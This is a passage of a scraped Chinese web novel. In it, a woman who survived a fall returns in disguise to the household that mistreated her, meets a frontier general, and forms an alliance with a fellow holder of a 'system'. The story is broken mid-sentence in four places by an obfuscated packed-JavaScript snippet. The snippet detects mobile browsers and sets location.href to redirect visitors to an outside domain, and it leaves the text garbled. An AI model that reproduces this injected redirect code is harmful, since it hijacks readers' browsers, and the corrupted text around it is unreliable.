听着这句炸裂的言论，林霖只感觉自己额上似乎有不存在的青筋在疯狂跳动，不论怎么说，林砚这人顶多算是她从未见面的大哥，又怎能扯到劳什子一见钟情上去。 罢了，何必为难一个无知者。 林霖咬了咬牙，面上显露出些许担忧，“若真是这样该如何。” 站在前面的林砚脚步倏地停了下来，转过身后，那面色竟是瞧着比刚才黑了几分，“钟不为，你用这么大的声音与钟姑娘说悄悄话，是真以为我什么都听不到吗？” 钟不为轻咳了一声，道：“林兄是一位驻边将军，在听声音这块自是有几分本事。” 林砚懒得搭理钟不为，看向林霖的眼神中多了些许柔和，“钟姑娘给我的感觉与我自小失散的胞妹一样，若是有一日她能回到林府，怕也是姑娘这般年纪的亭亭女子罢。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15070612|163181||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 林霖背在后面的手陡然攥紧，心里阴暗的情绪在此时因为这句话不断的冒了出来，“你们分别了这么久，若她有一日归家，你们并不能好好相处，又该怎么办呢？” “自然是不会发生这件事，”林砚像是听到了什么笑话，“我在边关时，曾收到家父家母的来信，说似乎找到了和小妹一样的人，那时因为战事吃紧，我来不及归家，却也备好了她与我们失散这些年应得到的所有的礼物。虽然最后家里人又来信告知我，那人只是个可恶的骗子。但当小妹回来后，我送给她的只会更多。” 林霖细细打量着眼前这张只存在于林家人话语中的脸，“若我没打探错的话，林家还有一位从旁支来的表小姐一直养在林尚书膝下，若你的两位妹妹因争夺林家人的爱打起来了该怎么办？” 感受着钟不为与林砚那两人灼热的视线，林霖笑着撇过了头，“我都是看话本子看得，若是冒犯到了林公子，钟霖向公子赔罪。” “这倒不必，钟姑娘提出的问题是林某该思考的，”林砚摇了摇头，示意自己没有被冒犯，“若是真有这么一日，林某恐怕会先看家里人对小妹的感官，如若都欺负小妹的话，我就领她离家，瞧瞧不同的景色。” “我还以为林公子会紧着林舒然姑娘才是。” 提到林舒然，林砚的神色有些一言难尽，面上甚至多了些无奈与嫌弃，“舒然这姑娘，好应该是好，但实在是太爱撒娇与诉苦了，对她，我实在是......” “兄长怎得呆在这里，与小妹多日未见，也不曾来我的竹然居看看我。” 熟悉的娇嗔声在不远处响起，林舒然和林霖刚见到她的那时候一样，如一只蝴蝶一样轻飘飘的走了过来，看向他们的眼神中尽是柔和的笑意。 “两位可是兄长的朋友，今日实在是太过匆忙，舒然现在才来招待二位真是对不住，若是两位有兴趣......” 林舒然看向林霖的目光带了些许探究，“不知这位姑娘是否愿意来玉亭与各家小姐们聊聊天，光看着可没有参与进去更有意思。” 看来林舒然是真的没有认出她来，也对，以前的她在林舒然眼中，恐怕是丑陋而又狼狈的吧。 想起那些或俯视或可怜的神色，林霖笑着挽住了林舒然的胳膊，说道：“表兄，我与舒然姑娘一道去和别的姑娘聊会天，你和林公子继续逛着便是，若逛的差不多了，来玉亭找我便是。” 钟不为感叹的打趣道，“看来这么短的时间里，你就有了想干的事情了，若是有什么好吃的东西，可别忘了兄长我才是。” “那是自然。” 林砚目视着两个姑娘欢快的向前方走去，只感觉自己的头更疼了几分。 “钟不为，我带你先去其他地方走走。” “怎么，我怎么感觉你一直在躲着林姑娘？” 面对好友好奇的询问，林砚压下了心底对林舒然的那丝不悦，“无事，只是我向来话不多，也不喜欢和话密的人交往罢了。” 5. 林述 林霖状似亲亲热热地与林舒然挽在了一起，这是她第一次以其他身份如此近距离的观察自己这位曾经的好妹妹。 如花般娇艳，像光一样明媚的外表下，居然藏着一个毒蛇一般的芯子。要是她真是第一次见这人，说不定会迅速折服于她的口才与魅力之下。 “对了，舒然还未问过姑娘的名字，你是哪里人？” “钟霖，朔州靖城人，”林霖看着身旁独自高兴的姑娘，有些不适应的皱了皱眉，“......舒然，你为何这么高兴？” “因为林将军也在玉亭，”林舒然笑颜如花地说道：“看来我寻阿霖来陪我真是陪对了。” 这么快就接触到了任务对象？但她一不是真正的靖城人，二对镇北将军根本没什么了解，如若真的现在就见面，一旦那位林将军问起靖城的事情，她定然很快露馅。 想到这里，林霖若有所思的看向林舒然，忧愁道：“我是第一次来京城，不知这里有什么规矩，若是冲撞了......” 林舒然愣了一瞬，很快换上了一副严肃的神情，示意林霖附耳过来，“你既然是第一次进京，那我就和你多说一些，你千万要记在心里。” 林霖点了点头。 “我即将带你去的玉亭，那里的姑娘们都是好相处的，虽然是权贵家的小姐，但基本上不会因为一些事情而动怒。除了三家人，若没有足够的打算，最好不要去打扰他们。宣威将军府，燕王府的二小姐以及傅丞相家的几位小姐。那几位可真是这城中权贵的权贵，若是惹了也只有林将军能压住他们了。” “多谢舒然，我定当牢记于心。”看来现在的她还不是林舒然的敌人，这人才有闲心对她这么客气。 “或许是有求于你呢？”001的声音突然出现在脑海里，让林霖吓了一大跳。 “你能不能不要这么吓人，若有一日我被你吓得猝死了，你给我赊账的积分也别想拿回去了。”林霖的脸色稍有些不霁，“你的意思是她想通过我认识林将军，这怎么可能？” 001打了个哈欠，“怎么不可能，林述此人非常恋旧，得知你是靖城来的，定然会和你聊上两句。不过这一点你不用担心，钟不为会帮你，而我做你们中间的中转。” 这作用还是她第一次知晓，“你有这作用为什么不早拿出来。” “那时候你又不认识钟不为，我就算拿出来又有何用，”001说道：“更何况，如果不是遇到特殊情况，你也不愿意去依赖我这个天外来物吧。” 这倒是。 一直困扰在心间的难题解开了，林霖也有了心情去打量许久未见的居所。 越往里面走，就越靠近林舒然的竹然居。竹叶在风中婆娑摇晃，京中的风流客围绕在假山旁的流水边，慵懒地谈论着风花雪月，阳春白雪，流水中的酒杯摇摇晃晃，谈论诗词的声音不断，曲水流觞，当真是好兴致。 林舒然顺着林霖的视线看了过去，“那边大多是考取功名的学子，他们刚来京城，做的诗词大多都是有关于青云志的，描绘他们心中的京城的样子。” “阿霖，你说你是第一次来京城，你觉得你眼中的它是个什么样？” 林霖想了想自己的过去，道：“每个人都有自己的事要做，或是为利，或是为权。京城便是一杆秤吧，来来往往，将每个人的志向衡量的很快。”该去哪，有什么样的价值，虽然没有在明面上显出来，但却衡量的明明白白。 “我还是第一次听见有人这么说这个地方，很有趣。” 林霖回头，一个穿着素衣的女子出现在她们斜前方，拨开竹叶走了出来。 “阿霖，这位就是林将军，”林舒然带着林霖迎了上去，“将军，您怎么出来了。” 林述摇了摇头，笑道：“呆在里面实在是无聊了些，玉亭里的一些人已经等你很久了，似乎是有什么事情要与你分享。你身旁这位是？” “朔州靖城人，钟霖。”林霖连忙行了一礼，同时在脑海里呼唤001，让他抓紧叫钟不为来帮忙。 林述似是没料到这个答案，有一瞬的愣怔，“竟是靖城的孩子，过来，让我看看。” 林霖连忙走了过去。 眼前这位镇北将军与她想象的十分不一样，青色衣袍在风中轻轻浮动，挽着简单的发髻，眼神柔和毫无肃杀之气，不像是一位将军，更像是世家里出来的一位小姐。 “靖城啊，我竟是有十多年没有回去了，有兴致陪我走走吗？” 看着那双温和的眼，林霖说不出拒绝的话。与林舒然道别后，两人走到了一个稍微偏僻的地方。 林述上前几步，将桌上的竹叶扫落在地，指了指一个石凳，“介意坐在这里吗？” 林霖摇了摇头，坐在了那里，“不知将军......” 望着桌上放着的水壶，林述的神色多了几分怀念，许久之后才开口道：“我十六岁那年离家，没想到往后二十余年里一直待在这里，再也没有回去过，就连家的模样也记得不太清楚了。” 看着林霖有些呆愣的样子，林述笑了起来，“靖城怎么样，还是一片焦土吗？” “跟着我说就好。”钟不为的声音出现在她的脑海里。 林霖定了定心神，跟着钟不为的声音重复道：“靖城的柳树又抽条了，爹娘离家时的东街口的烧饼又开了起来，南街那里的戏台子又搭了起来，有的是还会讲一些您的故事，马家的人还是那么喜欢说笑话，就连小孩在过年时也要来两句给大家逗乐，河里的草木房屋烧焦的残骸已经全部清除，开始清亮起来了。有一些老人家还在念着，林家的阿述出息了，何时才能归家啊？” 这下换林述愣住了，竹叶纷纷扬扬，被风一吹，飘向了四方。 “归家，哪有这么容易啊......若真有一日，海清河晏，乱世平定，我大概也能对得起故人的死，回去看看柳树，钓钓鱼了。还是活着好啊，活着什么都能干 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15070613|163181||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 即使眼前人掌握权与贵，也活得不是这么自在吗？ 林述抬手喝了口有些温凉的茶，说道：“你今日愿意和我一同前来，并非只是为了和我叙叙旧事，说说，你想问我些什么东西？” 这么明显吗？林霖有些纳闷的摸了摸自己的脸，半晌后才意识到这动作不是很妥当，清了清嗓子问道：“您为何来这次赏花宴，我也不认为您会为了我说的这些事情特地来一趟林家。” “林家和你们想查的事情有关，而我作为靖城人，总是要送那些尸体归乡的，。” “林霖，剩下的事情和我相查的事情有关，我马上就到，请你等一会，我有很多事情想要问，可以帮我拖一些时间吗？”气喘吁吁的声线出现在耳旁，林霖听着那话语的恳切，终究是答应了下来。 林述看着沉默的林霖，叹了口气，“这件事做一旦接触就会有危险，你们家里人不会希望你们因此而受伤，尤其是你的表兄，他爹娘给他取名为不为，就是希望他庸庸碌碌过完一生，不要去接触祸事，活着就好。” “难道就因为前面是危险，我们难道什么也不去做吗，”钟不为风尘仆仆的出现在院口，头上还沾染了些许残落的竹叶，他的眼里散发着惊人的光，“将军，那是我的世伯，从小带我长大！” 林述沉默了。 林霖站起身，她知道剩下的事情是靖城那边的事情，是钟不为来这里的目的或是系统给予他的任务。 她理了理有些褶皱的衣摆，向林述道了别，“将军，我还有些事，先行一步。不过我觉得，如若我们真的没有什么决心，也不会来到这里。明知不可为而为之，有无论是生死也要去做的事。” 她走到钟不为身旁，低声说道：“头上有竹叶，记得清理一下。” “多谢，”钟不为认真的看着她，“真的。” “我知道。” 林霖走出了院落，那个地方要继续的是他们的事，而她现在要去干自己的事。 “你的任务的探索进度才进行了百分之三十，不继续待下去吗？” “很明显，你交给我的任务，是钟不为来这里的目的，而我还有更重要的事情去做。” 001叹息道：“复仇已经成为你的执念了，你没有什么更重要的事情吗？” “或许以后会有吧。” 她从生下来那刻起，就一直是一个不撞南墙不回头的性子，人负了她，她总得报复回去，用同样的方式。他们不死，她又如何不做噩梦的活下去 即使林府很大，她还是容易在这里碰见眼熟的人，那个背影在无数次的梦里都出现过，那是她曾经的母亲。 林母刚一回身，就看到了一位眼熟的姑娘向她走了过来，尤其是那双眼睛，不知何时见过。 “你是哪家的孩子，我怎么觉得你如此眼熟？” 林霖微微一笑，“夫人，我是舒然的好友，许是夫人在哪次诗会里见过我罢。” 6. 秘密 林母自认为自己的记性很好，对于参加诗会的世家贵女们都有一个大致的印象，所以她敢肯定，眼前这个人并非是她认识的任何一个家族的子弟。不过眼前这个女孩既然说她是舒然的朋友，那对于林母来说，身份就并不重要了。 于是她立马露出一个和蔼的微笑，有些亲热的看着林霖，“是要去找舒然吗，她还在玉亭待着，不过那里有些寒凉，我瞧着你的脸色不太好，要不要先来兰香居喝杯热茶。” 听到这句话林霖甚至都有些惊奇了，她认真的打量着眼前的人，然后假惺惺的笑了起来，“多谢您，有您这样的母亲在，怪不得舒然每天都开开心心的，您一定是一位对儿女很好的人吧。” 这姑娘说话怎得有些阴阳怪气的。 还没等林母想通其中关窍，林霖已经换了一个话题，“我确实是有些冷了，不知兰香居那里是否有一些热茶可供晚辈取取暖。若夫人实在是忙碌，麻烦请您指一下路。” “我确实是有些事情需要去干，”林母扫视了一圈周围，最终把目光定格到其中一个人身上，“我让林书带你过去，他是我的二儿子，府中的布置他都熟悉，想去哪里叫他给你指路就可以。” 看着林母唤着林书的背影，林霖想起了以前的一些事情。 林书是把她带回林府的那个人，是他从饥饿中把她救了出来，但同样也是他，蔑视她蔑视的最深，在她还没有活起来的时候，和林舒然一起，笑着将她联手踩进了泥里。 林霖没想到，自己与林书重逢会是这样的场景。即使有千般话想对他说，但在那个人走过来的那一刻还是没有说出口。 林书看着眼前的少女有些恍惚，在他走过来的那一刻，他仿佛见到了一个早已死去的故人，但那个人即便活着，也不会像眼前的人一样抬着头，淡然的望向他。他真正的小妹，看着他的眼神总是仰视，不论是仰慕还是仇视。 他很快定住了心神，说道：“客人跟我来吧，我带你去兰香居。” 林霖望着他的背影，脑海里思绪纷繁，过了一段时间后，终于开口道：“不知兰香居是否有点心。” “有的，你想吃什么告诉我便好，我叫人端来。” “那有荷花酥吗？” 林书的身子微微一僵，他放缓了脚步，与林霖站到了一起。 林霖看到他的动作，微微叹了一口气，重复了一遍：“有荷花酥吗？” “当然有，”一切巧合重合在一起，让林书不由得怀疑起眼前人的身份，但当年那人坠崖后，他们也派人下去找过，除了一些血迹和衣服碎片以外什么也没有发现，两年过去了，那个人不可能再回来，即使回来也不应该是这幅模样，于是他试探道：“客人还想要别的点心吗？” “不必，吃些荷花酥本就只是为了怀念过去而已，”林霖淡淡开口，“倒是林书公子看起来倒是很紧张，莫非是这荷花酥里有什么秘密？” 林书猛地回头，压下心底莫名的恐惧与酸涩，道：“客人与我曾经的一位......朋友非常像，她也喜欢吃荷花酥，并非秘密，只是巧合。” “我还以为林府的荷花酥里有什么秘密，”林霖笑道：“值得让林二公子如此回味。若真有，那相必是个天大的故事了。” 林书没有再回话，认真的为林霖带路。只是这脚步怎么看都匆匆忙忙，像落荒而逃一样。 居然怕她怕成这样，莫非林书每夜梦回都能想起自己曾做的缺德事，害怕总有一日她会变成厉鬼向他索命？ 一进兰香居，茶香就像风一样铺面而来，味道苦涩中夹杂着些许花香，让人不禁放松下来。 林霖在林书的指引下做到了靠窗的桌子上，拒绝别人服侍在自己身边后，她给自己倒了一杯花茶看着外面飘落的树叶出了神。 直到那股熟悉的香味窜到她的鼻尖，林霖才意识到荷花酥来了，而原本站在门口的林书不知在何时悄然离开了这里。 林霖小心翼翼的捏起那块酥，刚一上手，那层层叠叠的花瓣就随着她的动作掉落到了盘子里。就像许多年前一样，不过那个时候，那些酥皮是掉到了她的掌心里。 林霖第一次知道自己不是丰年村的人的时候，她九岁。只不过那时的丰年村已经成为一堆废墟，而她找不到任何吃食，正躺在这堆废墟里等死。 丰年村里一直供奉着一座神像，在这里还有人的时候，即便是自己再饿，村民也会送过来一小份馒头，乞求那个不知名的神像，让它降下大雨，把枯死的庄稼救活。 林霖不像村里其他的女孩一样，叫着各式各样二妞，小花之类的名字。那时她的爹是个有些文化的木匠，娘是个缝补娘子。在林霖有记忆起，村里已经开始旱起来了，有半年多没有下雨。 于是比起别的地方想要生儿子或者大富大贵之类的愿望，林家人有了更直接的需求，那就是降雨。林爹用了他毕生的学识和他做家具时从客人那里听来的词，给他们捡来的女儿取了个“霖”的名，希望这样，老天爷能开开眼，降下足够生存下来的雨水。 但林霖那个时候不是教书先生口中天将降大任的圣人，即使叫做霖，有没有呼风唤雨的能力。在一次次企盼后，那两个人恼羞成怒，将所有的不幸怪在了她的身上，让她不分昼夜的忙着各种活计。 就这样，她才将将能够自由行动，控制自己的身体，就过上了低下头就能看见家务活，抬起头就能看见破落的砖瓦和缝隙里的天空的生活。 或许老天真的不想保佑这里，丰年村里的人越来越少，她的爹娘也越来越没有力气。那个尖酸刻薄的缝补娘子在她即将随着她的丈夫离开的时候，终于缓和下了她的脸色，告诉林霖，“你不是我们亲生的。” 林霖愣住了，用着干得嘶哑的嗓子问道：“那你们为什么要养我，我不是儿子，也没有带来真正的雨，养我只会浪费食物。” 缝补娘子用着她那张焦黄干涸的脸，挤出了个得意的笑，“你还记得村东头的那个刘芬吗？” 林霖没有说话，她自然是记得的，那个经常与眼前人大吵小吵的刘婶早在前几天死在了家里，死的时候还瞪着一双极大的眼，似乎含着天大的冤屈。 ......不是似乎，是肯定有着天大的冤。 缝补娘子没有等到林霖的回答有些生气，她冷哼了一下，想坐直身子叫骂几下，但实在是没有力气，只能驱动着这口气让自己失去水分干瘪的身子晃了晃。 “她曾经说像我这样恶毒的人，断子绝孙是应该的，”干瘪的人瞪着石头缝外的天空，“我偏要证明给她看，天底下没有比我更善良的人，那时候家里还有些粮食，我就把你留下来了。” “现在看来，我还不如不捡你，这样说不定我们都能活下来。” 林霖沉默的听着这些话，她明白，眼前这人活不了多久了。 “但现在已经这样了，你要活下来听到没，”那双眼睛瞪得出奇的大，“看在我们也算让你活下来的份上，把我的骨头和你那木匠爹葬在一块，他这一辈子没什么本事，我也是，同用一块地你到时候给我们烧香时只用一份就够了。” 林霖有点想笑，她自己都活不下来，还有闲钱给这两人烧香，看着床上那偃旗息鼓的身体，低声呢喃了一句，“我不干。” 干瘪的身体里又有多少东西能够让她活下来呢？< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15070614|163181||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 这么想着，林霖等到了晚上比较凉快的时候，那具躯体早已彻底凉透，她费力的拽着她，将躯体滚到了木匠早就挖好的坑里，将周围的土石推进去了一半。 她想的很好，若她也动弹不了了，她就抱着剩下的土石躺在剩余的地方，如果她还能活，她在吃饱喝足的情况下，就把剩下的土石铺平，也算是给他们养老了。 就这样几天过去，林霖也终于动不了了，她仰躺在放神像的地方，眯着眼睛望着外面刺眼的阳光。此时的她有些后悔，若是没有那么早放下去，若是吃了......她可真不是个东西。 林霖转了转身，有气无力的用冰凉的地面象征性的扇了自己一个巴掌。 若上天有德，就让她遇到一个像传说中的神像那样好的人，起码让她吃饱了再死，起码投胎的时候，也不算累。 这么想着，好像真的有一个人站到了自己身边。 林霖睁开眼，迷迷糊糊地看着那双缝补娘子这一生都没做出来好鞋，低声呜咽了几句。 那个人撩起衣服蹲下身，认真的端详着这张脸，和脖子上挂着的黑色的石头。 良久后点了点头，“不错，你就是我的妹妹，不过看你快要渴死，饿死了，要先吃点东西吗？” 听到吃的喝的，林霖猛地回过神，费劲全身力气张了张嘴。 那人不知从哪拿出来一个油纸包和一个水壶，颇有耐心的撑着林霖的头喂了好几口水，在林霖因为水恢复些力气后，拆开油纸包递到了她的手边，“吃吧。” 林霖看着里面躺着的层层叠叠的花朵样的东西，小心翼翼的颤着手捏了起来，即使她动作再小心，还是有一些花瓣碎了，掉在她的身上。她连忙把左手垫在下面，狼吞虎咽的吃着这个有些噎人但味道无敌好的东西，吃完后噎得快要翻白眼了。那人见状，又赶紧喂了些水让林霖把食物顺下去。 缓过来后，林霖看着手中的酥皮渣，认真的，一点一点的全吃了进去，吞下所有的时候，她才悄悄的松了一口。她果真是有大德大福的人，叫她碰见了好心的神仙。 好心的神仙从怀里摸出来一方帕子，给林霖擦了擦嘴，看着她说道：“我是你的兄长，我叫做林书，来接你回家。” 林霖一愣，有些不太能理解这句话的意思。 那个叫做林书的人换了个说法，“我是你亲哥，来救你，你跟我回去后能吃到数不尽的食物，包括你刚才吃的荷花酥。” 原来那个美味叫做荷花酥，林霖记下了这个名字，朝着林书狠狠地点了点头。 “你叫什么名字？” “林......霖，两个木头的林。” 林书松了口气，“那这样就不用给你想名字了，都姓林，那你还叫原来的名字吧。” 就这样，在她把土石全部填好后，她跟着林书来到了一个叫做林府的地方。 只可惜没过上顿顿吃饱的日子，也没有再吃到荷花酥。 想到这里，林霖有些惋惜的叹了口气，转过了头。 就看到一双亮晶晶的眼睛正在好奇的看她，正是钟不为。 “半刻钟过去了，我还以为你会这么一直发呆下去。” 林霖有些无语，“你什么时候坐过来的。” “好久了，”钟不为给自己续上了茶，悄悄向四周张望了一下，压低了声线，“我向001问过了你的任务，也从林将军那里探听清楚了，找个合适的地方，我告诉你，这就算是投桃报李。” “这件事和投桃报李有哪门子的关系，我何时给予你桃了？”林霖有些无奈，“不过，我确实知道一个好地方，人少，适合用来密谋。” 7. 报桃还李 “非也，是我给予你桃，你报我以李，”钟不为一口喝尽了杯中的茶，“我需要你帮我干的事非常简单。” “怎么说？” “放心吧，在你的能力范围内，若干不成也没关系，可以欠着。” 看着钟不为浑然不在意的模样，林霖磨了磨牙，她这辈子最讨厌的就是空头支票。但是001让她去探查的任务若是没有他的帮助，绝对达不成全部的进度。 “行，走吧，我带你过去。” 钟不为有些迟疑的看着桌上的糕点和茶水，“你不用再吃点喝点，还剩了这么多。” 林霖起身的身形顿了顿，抉择了片刻，最终选择喊来下人把这些食物帮她打包起来。 反正谈事的时候可以继续吃。 感受到身后那道视线，钟不为即将踏出门的脚停住了。他微微侧过头，手轻轻搭上了腰间挂着的扇子。进林府时，他身上佩戴的那把剑就被门房收走了，但藏着暗器的扇子还留在他的身上。 “你感受到了吗？”钟不为收敛了一直挂在脸上的笑容，神色平静的阻止了林霖的动作。 林霖有些疑惑的停住了脚步，“什么。” 钟不为一把将不擅武力的林霖护在身后，轻声说道：“那种灼热的窥视感，扎的我后背疼，不过看的并不是我，”顿了顿，他继续说道：“而是你。你惹了什么人，能让你在这里被人窥视。” 在京城生活的那些年里，她一直被困在林府里，林家人嫌她丢人，她也就一直没有出去过。唯一接触过的那些人，就是林家人和宋元舒那个弱智。宋元舒的性子向来高调而有病，也绝对不会在背后看着她。林家人中有这种耐心和宽容的也不多，唯一有可能的..... “林书，他刚才把我带过来，但却突然不见了，他最有可能干这种事情。”林霖语气中有着淡淡的嘲讽，林家人里就连林舒然的恶意都有些明晃晃，唯有林书此人的恶意，从来都是在暗处。 钟不为的眸光波动了下，他自然看出林霖心中对林家有些怨气，但有些事情还要抓紧去干。既然确定了目标，那人就好抓了。 他把扇子交到林霖手里，交代到，“若是有人对你犯难，用力捏紧扇柄，可以放迷雾，展开扇子会有暗器弹出。” 说着就向着目光投射的方向走去，只是钟不为找了一大圈愣是没找见林书，无奈下他又回到了兰香居的门口，林霖还好端端站在那里，手里捏着他交给她的扇子。 “没找到，不过他应该是不敢在轻易过来了。” 林霖点了点头，刚要把扇子交还回去，就被钟不为制止了动作。 “你拿好吧，待在这里的人，没几个人能伤到我，反倒是你，要真遇到危险，反而不好办。” 林霖学着钟不为的样子，将扇子挂到了身上，笑道：“没事，遇到危险我就跑，绝不恋战，不过你既然这么说，那我就收下了。” 钟不为点了点头，牢牢地跟着林霖左转右转，在林府里绕了一个大弯，窥视的那人也没有跟着他们再过来。 望着眼前枯萎的树木和铺着灰尘的桌子，钟不为有些好奇，“你是怎么找到这里来的，这么荒凉的地方，连林家人自己恐怕都记不得。” “这里以前是我住的地方，”没有丝毫犹豫，林霖开了口，她开门见山的问道：“从现在看来，001给我派的任务与你的事情有着极大的联系，除了最重要，最关键的那个节点，我希望我们可以坦诚相待。” “你是想要和我合作？” “如何？” 钟不为看着眼前的少女，思索了一下利弊，他们两个绑定着同样的系统，而他久居边关，对京城的事情并不清楚，若林霖说的是真的，那就相当于他在京城多了一位朋友，以后干什么事情都有一个照应。只是他是否能和眼前那个人建立起应有的信任...... “我答应你，不知你想从哪里问起。” “好说，”林霖接过钟不为递过来的抹布，扫了扫凳子上积聚的灰尘，坐了下来，“林将军为什么要来这里，来这里要干什么。” 钟不为拿回抹布，也为自己清理出一块干净的地，“从头开始说起吧，十几年前，梁宣帝被将军杀死后，将军亲手扶持宣帝的太女上位，但有其父必有其子，那位太女也是个暴虐成性的人，只不过她比她爹能忍。将军技高一筹，在发觉事情苗头后将其焚烧于清君台。” “林将军又重新选了一位宗族子弟，在监察过后，才准许他上位，也就是当今的圣上。” “你也知道，将军斩杀了两任帝王，一位妖道国师，虽然这几人都不是什么好人，但将军的声誉还是遭受了他人的非议。再加上功高盖主，近几年，将军的一举一动都会被人监视。而她身边的人也总是离奇失踪。” 说到这里，他的声音顿了顿，但很快又说了下去，“两年前，靖城发生了一起惨案，死去的人是一位对我很好的世伯，世伯家里的人全部受了重伤，昏迷不醒了数日。在001的帮助下，我知道了杀害世伯的利器是京城的一位铁匠独有的手艺，只有他锻造的武器会造成这样的伤口和印迹。于是我来到了京城。” “林将军也在查这件事，而她查到这件事和林家有些关系，你既然曾经住在林家，能告诉我你和林家人是什么关系吗？” 林霖笑了起来，“怎么，怕我和林家串通起来骗你啊。放心吧，他们一日不死，我就活不了，生死之仇。” 钟不为点了点头，“那你在林家的那些时日里，知道这些事情吗？” “不知道，”林霖神情淡淡，她抬头望着周围这与林家格格不入的景致，“他们从来不会和看不起的人谈论这些事情。”既然林家人有这么大的抱负，又为何与她相处时会如此弱智，总想把渺小的她踩进泥里。 林霖什么都不知道的这件事在钟不为的预料中，于是他又问道：“那你知道怎么制作迷药吗，我记得你颇通医理。” “会是会，但你要迷药干什么，”林霖诧异地扭头看钟不为，“要去杀人？杀人前需要我帮忙迷晕？” 看着林霖跃跃欲试的表情，钟不为微微一噎，“虽然我身在江湖，但也不想过血腥的日子，你一旦杀了第一个人，就停不下来了。” 瞧林霖还要说些什么，钟不为制止到，“不管以什么理由，随便杀人都不行。你知道无归刀客吗？” “知道啊，话本里常见角色，怎么了吗？” “他这一辈子就是杀了太多人，结果越到后面越停不下来。听说他还因为乐于杀人，成为了妖道国师的暗卫兼杀手。” 看着钟不为煞有介事的神色，林霖乐得往嘴里塞了一块糕点，“行，那我不杀人，你告诉我你要什么类型的毒药，我得找一下。” “一般来说这种东西不是现配的吗？” “这种一听就是必备药品的东西，不提前配好，遇到危险了直接等死啊。”林霖找出一个瓶子放到桌子上，“拿好这个，里面用红色蜡封装的是药劲大的，只有两颗，所以慎用。黄色蜡封装的是除了迷晕还有点副作用的，被迷晕的人可能会在短时间内动弹不得，或全身瘙痒。白色的就是普通的，持续时间一般，药力也一般。” 钟不为宝贝的看着手里的那瓶药，但很快他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15070615|163181||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就反应过来，“你把这一瓶给我，你怎么办？” “放心吧，我还可以再配，而且”，林霖示意的举了举腰间的扇子，“你也给了我东西，不必不好意思。” “嚯，一物换一物，你这是要和我扯平啊。” 看着眼前人拿着瓶子的冲她笑着的模样，林霖摇了摇头，也笑着说：“这可不算是扯平，这算是我们达成了合作，盟友。” “既然如此我也帮你点忙，”钟不为道：“如若你有一天怕暴露身份，就报钟家的名字，起码算得上有个退路。” “你不怕为你们家族致灾祸？” 钟不为想到了什么，神色微微冷了下来，“迟早有一日会刀锋相向。” 目视着钟不为带着东西快步走了出去，林霖这才开始有些头疼的思考起自己该如何复仇，照这样推断，现在的林家应该是更难解决了，竟然还和当今圣上取得了联系。 “宿主需要我给予你一个建议吗？”001如同幽灵一样冒了出来。 “你能不能总是一惊一乍，”林霖没好气的吐槽到，“那你说说，你有什么建议，能够助我复仇大业的进行。” “其实也不算建议，而是忠告，”001笑得狡诈，“宿主知道为什么林家人没有针对宿主吗？” “因为他们没把我认出来？” “您猜对了，不过造成这个结果的有三个因素。第一，宿主在他们眼中已经死了；第二，您现在是钟霖的身份，他们不认识宿主；第三，他们对你毫不在意，所以当然不记得宿主您。” 这三个原因不论哪一个都在昭示着一个信息，那就是她在这场赏花宴里有喘息的时间，全仰仗林家人没有认出来她。但若是认出来了...... “宿主的身体会被再次控制，您依旧逃脱不了命运。” 林霖脸色阴沉，“你不是已经帮我逃脱了控制吗，那我绑定你有什么用。” “宿主听说过木偶戏吗，您可以把您当成木偶戏的主角，”001悠然说道：“主角离场，这戏自然唱不下去，其余被控制的人只能去干自己的事情了，但一旦主角的归位被木偶发觉......” “那我就会被继续控制。” 林霖只感觉自己的后脊发凉，“你的意思是林家人对我这样是因为我们都被所谓的木偶师控制了？” “不不不，他们只是根据他们的本心行事，你不必觉得是自己冤枉了他们。但他们每日不做自己的事，只陪着宿主胡闹，只针对你一个毫无价值的人物你难道不觉得奇怪吗？” 001这么一说，林霖很快想通了其中关窍：“你可以开始说你要怎么帮我逐渐切断这些联系了，现在和我提这些的目的是什么，你又需要我去干什么。” 